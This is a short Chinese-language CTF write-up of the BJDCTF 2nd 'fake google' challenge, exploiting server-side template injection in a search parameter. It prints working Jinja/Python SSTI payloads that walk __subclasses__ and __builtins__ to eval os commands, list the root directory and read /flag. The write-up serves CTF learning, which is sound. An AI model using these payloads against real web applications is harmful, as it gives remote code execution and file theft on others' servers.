[BJDCTF 2nd]fake google
00x1分析题目
打开页面,首先是一个goole搜索框,输入内容后Enter,页面显示P3's girlfirend is : xxxx
在看URL框,发现这里其实是通过get方式传递了一个get形式的参数,传入的值就会输出在页面上。觉得可能是SSTI模板注入,因为这里会把输入的内容输出在页面上,那么表达式也有可能会被输出。查看源码,确定这里是SSTI模板注入。
00x2SSTI模板注入
表达式测试
输入{{1+1}}测试,看表达式是否会被计算,尴尬的是页面直接500了,这里估计是ban了+号,因为当你单输入一个+号时页面不会有任何的显示。
输入{{1*2}}测试,页面输出 2,可以了开始注入。
查询需要借助的类
查询可以引用的类的列表,获取到一个列表,使用python脚本查询需要的利用的类warnings.catch_warnings的位置。
{{[].__class__.__base__.__subclasses__()[169]}}
页面显示:P3's girlfirend is : <class 'warnings.catch_warnings'>
{{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']("__import__('os').listdir('/')")}}
页面显示
P3's girlfirend is : ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'flag', '.dockerenv', 'app', 'bd_build']
读取flag文件
{{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
你还年轻,可以成为你想成为的任何人。